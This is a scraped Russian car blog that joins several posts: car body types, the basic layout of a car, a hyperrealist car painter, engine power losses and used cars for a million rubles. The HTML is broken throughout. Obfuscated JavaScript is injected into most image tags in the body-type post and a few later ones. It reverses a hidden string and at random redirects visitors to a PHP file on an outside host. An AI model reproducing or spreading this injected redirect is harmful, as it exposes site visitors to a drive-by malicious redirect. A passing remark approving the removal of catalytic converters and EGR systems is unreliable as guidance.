автомобиль

Позвольте задать вам вопрос, друзья. На что мы смотрим в первую очередь, выбирая для себя автомобиль? Кто-то скажет, на характеристики. Не буду спорить, поступают и так. А я вот могу утверждать с большой долей вероятности, на типы кузовов автомобилей с фото.

Подавляющее большинство из вас в первую очередь смотрит на форму и дизайн кузова. В этом есть не только эстетическая сторона, но и чисто практичный расчёт, ведь от типа кузова зависит вместимость авто, способность перевозить грузы и масса других нюансов.

А теперь второй вопрос – знаете ли вы, чем отличается седан от купе или лифтбек от хэтчбека?

Если теряетесь в догадках, тогда эта статья станет отличным наглядным пособием для вас. В ней мы рассмотрим типы кузовов и дадим их краткие описания.

Кузова: о чём нужно знать

За свою долгую историю автомобильная промышленность выдала на гора огромное количество самых разных типов кузовов. Многие из них стали достоянием истории и увидеть их теперь можно разве что на картинках или в музеях.

Наиболее ходовыми на сегодняшний день являются около 10 разновидностей, о которых мы сегодня и поговорим. Но, прежде чем перейдём к описаниям и наглядным фото, немного скучной теории.

Каким бы ни был кузов с точки зрения количества дверей, наличия или отсутствия крыши, а также дизайна, его всегда можно отнести к одной из трёх категорий компоновки, а именно:

• однообъёмные – грубо говоря, в этом случае всё и все в автомобиле (двигатель, пассажиры, багаж) находятся внутри одного условного отсека кузова, без явных разделений;
• двухобъёмные – здесь чётко выделяется капот, под которым находится силовой агрегат, а пассажирский отсек как бы объединён с багажным;
• трёхобъёмные – тут у всех свои отсеки: чётко выраженные капот, салон для пассажиров и багажник.

Для наглядности приведём примеры по каждой категории. Яркими представителями первой являются сити-кары Smart.

to-ru.ru/wp-content/uploads/2016/10/smart.jpg» alt=»Типичный представитель обднообъемной компоновки, сити-кар Smart» width=»800″ height=»520″>

К двухобъёмным можно отнести, к примеру, хэтчбек Ford Focus,

to-ru.ru/wp-content/uploads/2016/10/ford.jpg» alt=»Хетчбэк Ford Foсus с двухобъемным кузовом» width=»800″ height=»496″>

ну а представителем третьей категории будет любой седан – «Жигули», как один из многочисленных вариантов.

to-ru.ru/wp-content/uploads/2016/10/vaz.jpg» alt=»Трехобъемный кузов автомобиля ВАЗ-2107″ width=»800″ height=»492″>

Когда форма определяет содержание

Разобравшись с общими категориями, самое время перейти к типам кузовов, которые больше всего любят современные автопроизводители. Вначале поговорим о популярных трёхобъёмниках.

Седан

Начнём с классики, с седанов. Для этого типа, который многие-многие годы пользуется огромным спросом у покупателей, характерно наличие двух полноценных рядов сидений и четырёх дверей. Кстати, линия крыши должна быть без крутого спада к корме, иначе это будет уже не совсем седан, а… четырёхдверное купе.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/sedan.jpg» alt=»Кузов седан» width=»800″ height=»452″> Кузов седан

Купе

Хотя для истинного купе наличие такого количество дверей – отступление от правил. Классические представители этого типа кузовов оснащены лишь двумя, также можно отметить у таких машин не слишком функциональный задний ряд сидений.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/kupe.jpg» alt=»Кузов купе» width=»800″ height=»535″> Кузов купе

Кабриолет

Если перед Вами автомобиль без крыши, но имеющий четыре или две двери и вполне нормальные два ряда сидений – это кабриолет.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/kabriolet.jpg» alt=»Кузов кабриолет» width=»800″ height=»520″> Кузов кабриолет

Родстер

Если же в открытой машине всего два кресла, то тогда такой кузов именуют родстером. Отсутствие крыши лишь условно, на самом деле она есть, но складная, причём складываться может как тряпичный верх, так и жёсткий, изготовленный из привычного металла, но оборудованный сложным механизмом.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/rodster.jpg» alt=»Родстер» width=»800″ height=»536″> Родстер

Лимузин

Признаком роскошной жизни является следующий наш герой. Лимузин. По сути, это седан, но с очень длинной колёсной базой. Помимо этого, для лимузина характерно наличие перегородки между водителем и пассажирским салоном.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/limuzin.jpg» alt=»Лимузин» width=»800″ height=»600″> Лимузин

Пикап

Ещё один представитель трёхобъёмных кузовов — пикап. Главной его особенностью выступает открытый грузовой отсек. Благодаря своей практичности он давно стал любимчиком фермеров, строителей и предпринимателей, занимающихся перевозками некрупных грузов.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/pizkup.jpg» alt=»Пикап» width=»800″ height=»485″> Пикап

Хетчбек

Переходим к двухобъёмным автомобилям. И одним из самых популярных их представителей является хетчбэк. У него может быть две, три или пять дверей, причём та самая нечётная дверь находится сзади и открывает доступ к багажному отделению.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/hetshbec.jpg» alt=»Хетчбек» width=»800″ height=»530″> Хетчбек

Универсал

Столько же дверей бывает и у универсала, но, правда, по сравнению с хетчбэком кузов у него гораздо длиннее. Помимо этого, он отличается и углом наклона остекления задней двери, так называемым свесом – у универсалов он заметно круче.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/universal.jpg» alt=»Универсал» width=»800″ height=»450″> Универсал

Лифтбек

К двухобъёмникам относятся и лифтбэки. Внешне они очень похожи на седаны, иногда даже отличить их практически невозможно, но это пока мы не откроем крышку багажника. У лифтбэков она открывается вместе с задним стеклом.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/liftbek.jpg» alt=»Лифтбек» width=»800″ height=»600″> Лифтбек

Внедорожник и кроссовер (паркетник)

Наш рассказ был бы неполным без популярных нынче во всём мире внедорожников и кроссоверов. Эти автомобили отличает высокая проходимость, правда, у вторых она менее выражена. У данного типа машин может два и даже три ряда сидений, также в порядке вещей полный привод, брутальный дизайн и высокая масса.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/vnetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorognik.jpg» alt=»Внедорожник» width=»800″ height=»500″> Внедорожник

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/krossover.jpg» alt=»Кроссовер» width=»800″ height=»541″> Кроссовер

Минивен

В завершение, друзья, несколько слов об однообъёмных кузовах. Кроме упомянутых выше сити-каров, к этому типу относят минивены и компактвэны. Данные авто из-за их вместительности очень любят большие семьи. Как правило, они оборудованы тремя рядами кресел, иногда комплектуются сдвижными дверями.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/honda_jdisey.jpg» alt=»Минивен Honda Odyssey» width=»800″ height=»388″> Минивен Honda Odissey

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/wp-content/uploads/2016/10/salon_honda.jpg» alt=»Салон минивена Honda Odyssey» width=»800″ height=»405″> Салон минивена Honda Odyssey

Надеемся, в этой статье, уважаемые читатели, Вы нашли для себя что-нибудь полезное. А пока Вы читали её, мы уже подготовили к публикации новый, интересный материал. Подписывайтесь, чтобы не пропустить!

До встречи на страницах блога!

Сегодня мы попробуем рассмотреть устройство современного автомобиля. Выделим ключевые части и узнаем об их роли в жизни наших четырёхколёсных друзей.

to-ru.ru/wp-content/uploads/2016/10/ustr_avto.jpg» alt=»Устройство автомобиля» width=»800″ height=»459″/>

Мы с Вами прекрасно понимаем, что личный транспорт давно перестал быть роскошью, и превратился в ежедневное средство передвижения. Поэтому знать его строение не только полезно для эрудиции, но и просто необходимо.

Конечно, в одной статье охватить все узлы машины и детально рассказать о каждом агрегате невозможно. Это сложный механическо-электронный организм. Тем не менее, сегодня мы попробуем кратко пройтись по основным его составляющим.

Устройство современного автомобиля. Кузов — основа основ

Раз мы уже сравнили машину с организмом, то и начинать его описание следует с остова-скелета, коим в легковом автомобиле является кузов.

Именно на него крепятся все остальные детали и узлы, поэтому он заслуживает отдельного внимания.

to-ru.ru/wp-content/uploads/2016/10/kuzov.jpg» alt=»Несущий кузов автомобиля» width=»800″ height=»576″/>

На заре автомобилестроения все компоненты транспортных средств (кабина, двигатель, ходовая) крепились к раме.

Сегодня мало кто использует подобную схему. Встретить рамную конструкцию можно разве что у некоторых внедорожников и грузовых авто.

Наиболее популярен в наши дни несущий кузов. Он представляет собой симбиоз рамы и каркаса. Идеально подходит для крепления всех узлов, агрегатов и навесных элементов (двери, капот и остальное).

Конструктивно в кузове среднестатистического автомобиля можно выделить такие составные части:

• моторный отсек – логично предположить, что именно в этом месте крепится двигатель;
• передний лонжерон – опора для передней подвески;
• задний лонжерон – тоже самое только для задней подвески;стойки;крыша;
• стойки;
• крыша;
• навесные элементы – к ним относятся двери, капот, багажник, крылья.

Современные кузова изготавливают из лёгких, но в тоже время высокопрочных материалов.

Самыми ходовыми являются сталь, алюминий и карбон. Последний, как правило, можно встретить на дорогих авто и спорткарах.

Сердце каждого автомобиля

Переходим к следующей важной части автомобиля – двигателю. Это, конечно же, сердце машины. Благодаря ему она может двигаться и, грубо говоря, делать то, ради чего и куплена.

Львиная доля всех современных авто оборудована двигателями внутреннего сгорания (ДВС). ДВС могут работать на бензине, на диз.топливе, на газе.

to-ru.ru/wp-content/uploads/2016/10/dvigok.jpg» alt=»Двигатель современного автомобиля» width=»800″ height=»500″/>

Двигатель технологически сложное устройство. Он состоит из сотен и тысяч деталей, которые трудятся ради одной общей цели. Эффективно преобразовать энергию сгоревшего топлива в энергию вращения.

Разнообразие силовых агрегатов огромно. Но каким бы ни был мотор, в нём всегда присутствуют такие структурные части:

• кривошипно-шатунный механизм, состоящий из поршней, коленчатого вала, цилиндров и маховика;
• газораспределительный механизм – включает в себя распределительный вал, клапаны.

В этот список мы не включили топливную, выхлопную и охлаждающую системы, систему смазки, а также электронику, без которой нынешние двигатели даже не заведутся.

Кстати, в последнее время всё чаще автопроизводители обращают внимание на альтернативные силовые установки. Это электрические или гибридные.

Считается, что именно за такими типами двигателей будущее. Поживём, увидим.

Трансмиссия: посредник между мотором и колёсами

Ещё одним ключевым узлом в глобальной системе, как устройство современного автомобиля, является трансмиссия.

Говоря сугубо техническим языком – это совокупность устройств и приспособлений, благодаря которым вращение передаётся от двигателя к колёсам машины.

В этот процесс вовлечено довольно много разных приспособлений. И всё ради того, чтобы энергия вращения, создаваемая мотором, с минимальными потерями распределилась по ведущим колёсам.

to-ru.ru/transmissiya.html» target=»_blank» rel=»noopener noreferrer»>Трансмиссию можно разделить на такие составляющие части:

• to-ru.ru/samoreguliruyushhee-stseplenie.html» target=»_blank» rel=»noopener noreferrer»>сцепление – отыгрывает роль посредника между двигателем и коробкой передач;
• to-ru.ru/kakaya-korobka-peredach-luchshe.html» target=»_blank» rel=»noopener noreferrer»>коробка переключения передач (кстати, иногда именно её называют трансмиссией, забывая о других сопутствующих агрегатах) – изменяет передаточное число между мотором и колёсами таким образом, чтобы нагрузка на силовой агрегат была оптимальной;
• to-ru.ru/kardannaya-peredacha.html» target=»_blank» rel=»noopener noreferrer»>карданная передача или, как её называют в повседневном сленге – кардан. Необходима для передачи крутящего момента от коробки передач к ведущему мосту или мостам;
• to-ru.ru/glavnaya-peredacha-avtomobilya-eto.html» target=»_blank» rel=»noopener noreferrer»>мост (ведущий мост) – ещё один посредник, обеспечивающий передачу крутящего момента к колёсам;
• to-ru.ru/chto-takoe-differentsial-v-avtomobile.html» target=»_blank» rel=»noopener noreferrer»>дифференциал – хитрое приспособление, которое даёт возможность колёсам, находящимся на одной оси, при повороте автомобиля вращаться с разными скоростями.

to-ru.ru/wp-content/uploads/2016/10/transmissiya.jpg» alt=»Трансмиссия современного автомобиля» width=»800″ height=»395″/>

Наиболее сложным, с технической точки зрения, устройством в этом списке вступает коробка передач. Она может работать исключительно под управлением человека – механическая КПП.

Коробка передач может быть полностью автоматической. Роботизированной, классической КПП или вариаторный.

От неё в полной мере зависят ходовые характеристики автомобиля, поэтому на коробку передач возлагается не меньшая ответственность, чем на двигатель.

Наш комфорт в руках ходовой

И так устройство современного автомобиля и её последняя структурная часть, о которой сегодня хотелось бы вспомнить – это ходовая.

Ей мы обязаны тем, что во время движения нас не трясёт, не укачивает и машина движется плавно, съедая неровности и ямы (если, конечно, всё настроено хорошо и нет неисправностей).

Вы, наверняка, заметили, что описан идеальный вариант ходовой. В реальных условиях качество езды может быть далеко не таким хорошим.

Это зависит от вида подвески, которой оснащён автомобиль, и даже от типа и диаметра резины на колёсах. Все эти элементы относятся к понятию «ходовая».

Ключевым элементом ходовой части автомобиля является подвеска. Разновидностей этого узла очень много.

to-ru.ru/wp-content/uploads/2016/10/hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dovaya.jpg» alt=»Ходовая часть автомобиля» width=»800″ height=»379″/>

Так, к примеру, встречаются to-ru.ru/zavisimaya-podveska-avtomobilya.html» target=»_blank» rel=»noopener noreferrer»>зависимые и независимые подвески, с пружинными, рессорными, to-ru.ru/torsionnaya-podveska-printsip-raboty.html» target=»_blank» rel=»noopener noreferrer»>торсионными и to-ru.ru/pnevmaticheskaya-podveska-avtomobilya.html» target=»_blank» rel=»noopener noreferrer»>пневматическими упругими элементами.

Всё это разнообразие создавалось с одной целью — обеспечить наш с вами комфорт и удобство в управлении автомобилем.

Дорогие друзья, мы с вами вкратце рассмотрели устройство современного автомобиля, его основные части современного легкового автомобиля.

В публикациях сайта мы более детально рассказываем о каждом элементе, узле и агрегате, изучаем их разновидности, особенности работы, достоинства и недостатки.

Чтобы не пропустить свежие статьи, а также делитесь ссылками на него со своими друзьями.

До новых встреч, изучайте автомобили вместе с нами!

Шерил Келли, невероятная художница из Техаса. Она рисует картины так безупречно, что даже кажется они реалистичнее, чем современные фотографии. Этот мастерский стиль просто завораживает, даже хочется сказать, это гиперреалистично.

Шерил влюблена в автомобили, она восхищается их красотой не зависимо от того, когда они были выпущены. Будь то ретро автомобиль или супер современный.

Её кисть просто поражает, она влюбляет в любой автомобиль, который коснется её кисти. Безупречная детализация приводит в восторг даже самого равнодушного человека.

Интересная техника этой художницы. Она говорит, такая суперреалистичность и глянцевость достигается маслянными красками на алюминиевой поверхности.

Посмотрите:  

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-5.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-5-1024×752.jpg» alt=»» class=»wp-image-3493″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-32.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-32-1024×823.jpg» alt=»Рисованный автомобиль» class=»wp-image-3501″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-6.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-6.jpg» alt=»» class=»wp-image-3495″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-211.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-211.jpg» alt=»» class=»wp-image-3492″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-111.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-111.jpg» alt=»Рисунки автомобилей» class=»wp-image-3496″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-101.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-101.jpg» alt=»Рисунки автомобилей» class=»wp-image-3497″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-91.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-91.jpg» alt=»Рисунки автомобилей» class=»wp-image-3498″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-27.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-27-1024×812.jpg» alt=»Рисованный автомобиль» class=»wp-image-3502″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-291.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-291.jpg?fit=1024%2C678&ssl=1″ alt=»» class=»wp-image-3506″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-241.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-241-1024×507.jpg» alt=»» class=»wp-image-3507″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-131.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-131.jpg» alt=»» class=»wp-image-3508″/>

to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-121.jpg»>to-ru.ru/wp-content/uploads/2019/11/hyperrealistic_cars-121.jpg» alt=»» class=»wp-image-3509″/>

Источник: //zagge.ru/vam-budet-slozhno-poverit-chto-eti-avtomobili-narisovany/

Задумывались ли вы где теряется мощность двигателя? сколько мощности забирает дополнительное оборудование — генератор, кондиционер, гидроусилитель и так далее?

Изучая характеристику автомобиля, мы всегда видим максимальную мощность двигателя, выраженную в лошадиных силах и киловаттах

А как влияет на мощность работа всех необходимых систем, которые приходится крутить двигателю?

Сколько забирает мощности усилитель руля?

Усилители руля, как нам известно, могут быть гидравлическими, электро-гидравлическими и электрическими.to-ru.ru/wp-content/uploads/2018/08/uEA6SNs.jpeg»>to-ru.ru/wp-content/uploads/2018/08/uEA6SNs.jpeg» alt=»Влияние гидроусилителя на мощность двигателя » width=»520″ height=»479″/>

Гидроусилитель (ГУР) работает методом нагнетания специальной жидкости в систему рулевого управления по средством компрессора гидроусилителя, приводящего через ременную передачу от двигателя.to-ru.ru/wp-content/uploads/2018/08/4pt496l.jpeg»>to-ru.ru/wp-content/uploads/2018/08/4pt496l.jpeg» alt=»Электро-гидравлический усилитель руля» width=»791″ height=»609″/>

Электро-гидравлический усилитель устроен так, что давление жидкости создается не от привода двигателя, а от электромотора. Тем самым нагружая генератор, который соответственно крутит сам двигатель автомобиля.to-ru.ru/wp-content/uploads/2018/08/T8mExL0.jpeg»>to-ru.ru/wp-content/uploads/2018/08/T8mExL0.jpeg» alt=»Электрический усилитель руля » width=»769″ height=»518″/>

Электрический усилитель работает так, что электромотор толкает влево-вправо рулевой механизм, что тоже нагружает электрическую сеть, создавая дополнительную нагрузку на генератор.

ГУР всегда отбирает мощность двигателя, не говоря о его непосредственной работе, даже при холостом ходу на автомобиле без движения съедает от 0,2 до 0,5 л.с.

Теперь про отбираемую мощность электроусилителя. По сути усилие на рулевое управление остается таким же, как и при использовании ГУРа, а по закону сохранения энергии и затраченная электрическая энергия остается в тех же объемах. То есть усилие двигателя, затраченное на раскрутку генератора остается в тех же пределах, от 2 до 4 л.с.

Мощность двигателя теряется от работы генератора

При работе двигателя автомобиля генератор вырабатывает 13,8 — 14,0 Вольт. По мощности они бывают разными, от 80 до 140 Ампер. Если перевести в ватты, то 14 х 140 = 1960, примерно 2,0 кВт.

to-ru.ru/wp-content/uploads/2018/08/wq98mvs.jpg»>to-ru.ru/wp-content/uploads/2018/08/wq98mvs.jpg» alt=»Генератор» width=»500″ height=»375″/>

Усредненные данные нагрузки генератора: 2,0 кВт. – 3 л.с.

При максимальной нагрузке электрической системы генератор забирает до 3 л.с. мощности двигателя.

Потеря мощности от работы кондиционера

Все зависит от класса автомобиля. Опять же не все производители указывают мощность своих кондиционеров.to-ru.ru/wp-content/uploads/2018/08/lWJ1JOy.jpeg»>to-ru.ru/wp-content/uploads/2018/08/lWJ1JOy-1024×611.jpeg» alt=»Компрессор кондиционера» width=»708″ height=»422″/>

Но это еще не все. Расчеты разработчиков говорят что до 5% мощности теряется на ременные передачи.

Так что оказывается, климатические системы более всего нагружают двигатель, до 4,5 л.с. на средних автомобилях и до 6,5 л.с. на больших.

Отбор мощности водяным насосом

Водяной насос – ПОМПА. Самый важный механизм двигателя, обеспечивающий стабильный температурный режим работы. Тоже всегда в постоянной работе и всегда забирающий определенную мощность двигателя.

По конструкции бывают и механические и электрические. К сведению: все больше автопроизводителей переходят на электрическую конструкцию водяного насоса. Это обусловлено тем, что они более компактны, производительны и не требуют ременной передачи, что соответственно оптимизирует расход затраченной энергии на циркуляцию охлаждающей жидкости.

Исследуя механический вариант насосов конструктора, а именно Д.Крэйг, привели такие данные:
1000 об.мин. – 0,1 кВт/0,13 л.с. 2000 об.мин. – 0,8 кВт/1,1 л.с. 4000 об.мин. – 6,4 кВт/8 л.с.

Электрические помпы расходуют меньше, особенно на высоких оборотах.

Отбор мощности сажевым фильтром и катализатором

Современные автомобили теперь все поголовно оснащаются катализаторами и сажевыми фильтрами. Это продиктовано временем и экологической необходимостью.to-ru.ru/wp-content/uploads/2018/08/goI2U.jpeg»>to-ru.ru/wp-content/uploads/2018/08/goI2U.jpeg» alt=»Катализатор» width=»704″ height=»384″/>

Не будем обсуждать надежность их работы и конструктивные особенности, но такие системы, в борьбе за экологию, очищая выхлоп, конечно приглушают работу двигателя внутреннего сгорания и соответственно ведут к потере его мощности. В каких объемах?

Цифры рознятся, пишут что до 5% мощности, что слишком много. Если возьмем Мерседес с дизельным двигателем в 224 л.с., то потеря получится в 11 л.с. Не зря в России почти все владельцы Мерседесов рано или поздно удаляют все катализаторы и сажевые фильтры.

Это связано с засорением впускной системы по вине системы дожига отработанных газов (система клапана ЕГР). После его удаления и перепрошивки электроники, автомобили буквально начинают свободно дышать и значительно живее вести себя на дороге. Благо страна большая и воздуху нам хватает, в отличии от Европы. Но это чисто мое личное мнение.

ИТОГИ потерь мощности двигателя

Теперь можем подвести итог.

Для средних автомобилей:
ГУР – 3 л.с., Генератор – 3 л.с., Кондиционер – 4 л.с., Помпа – 3 л.с., Катализатор – 5 л.с.
Итого: до 15 л.с.

Для больших автомобилей: ГУР – 4 л.с., Кондиционер – 6 л.с., Помпа – 4-5 л.с., Катализатор – до 10 л.с.
Итого: до 25 л.с.

Буду рад, если статья вам была полезна и познавательна. Удачи вам на дорогах и хорошего настроения.

Один миллион рублей, это много или мало? Имея такую сумму при себе пару лет назад, вы могли бы без лишних трудностей стать обладателем неплохой иномарки из салона да ещё и с приличной комплектацией. Подержанный автомобиль, вот на что можно рассчитывать при нынешних ценах.

На рынке б\у техники можно встретить очень вкусные предложения, подходящие такому бюджету.

Продажа подержанных автомобилей, это очень огромный рынок у нас в стране.

Чтобы более направленно разобраться с ним, мы решили взять лидеров продаж по России среди новых авто и проанализировать их стоимость на вторичном рынке. Итак, поехали.

Toyota RAV4

Открывает наш хит-парад Toyota RAV4. Вряд ли этому кроссоверу нужно отдельное представление, модель, однозначно, популярная. Что же мы получим за миллион?

Как правило, в рамках такой цены будет предложен аппарат не свежее 2013 года с пробегом под 100 тысяч километров.

Не исключено, что попадётся неплохая комплектация, но большинство предложений б/у RAV4 это передний привод, 2-х литровый мотор, механика или вариатор.

to-ru.ru/wp-content/uploads/2018/03/2013-Toyota-RAV4.jpg»>to-ru.ru/wp-content/uploads/2018/03/2013-Toyota-RAV4.jpg» alt=»Подержанный автомобиль Toyota-RAV4″ width=»933″ height=»700″/>

Внутри не стоит ожидать роскоши — обычный тканевый салон, кондиционер и стандартная магнитола.

Если хотите подержанный автомобиль данной модели с более крутыми наворотами — в миллион не вложитесь, разве что раздобудете совсем «убитый» экземпляр.

to-ru.ru/wp-content/uploads/2018/03/Toyota-18.jpg»>to-ru.ru/wp-content/uploads/2018/03/Toyota-18.jpg» alt=»Подержанный автомобиль Toyota-RAV4″ width=»933″ height=»700″/>

Toyota Camry

Ещё один любимец публики — Toyota Camry. На вторичном рынке этих авто пруд пруди, поэтому владельцы, в надежде продать свой экземпляр, готовы скидывать цену.

За 1 млн. рублей вы без проблем найдёте машину 2015 модельного года, а более старших её собратьев и подавно.

Самым ходовым силовым агрегатом б\у Camry является 2,5 литровые моторы мощностью 181 лошадиная сила.

Также попадаются топовые V6 объёмом 3,5 литра, но, правда, и просить за них могут больше.

Что же касается трансмиссии, то это, однозначно «автомат» и передний привод.

to-ru.ru/wp-content/uploads/2018/03/Toyota-Camry-2013.jpg»>to-ru.ru/wp-content/uploads/2018/03/Toyota-Camry-2013.jpg» alt=»Toyota Camry 2013 года выпуска» width=»1029″ height=»557″/>

За наш бюджет можно рассчитывать на максимальную комплектацию салона, а именно: кожа, мультимедиа система и прочие «фишки».

Volkswagen Tiguan

От японцев переходим к немцам, вернее, к одному немцу — Volkswagen Tiguan.

Этот компактный кроссовер выпускается с 2007 года, и на данный момент сменилось только одно его поколение.

За миллион рублей на рынке подержанных автомобилей можно найти экземпляры 2013-14 годов выпуска.

И хотя они формально относятся к предыдущей генерации, но, по факту, являются уже рестайлинговыми, улучшенными версиями.

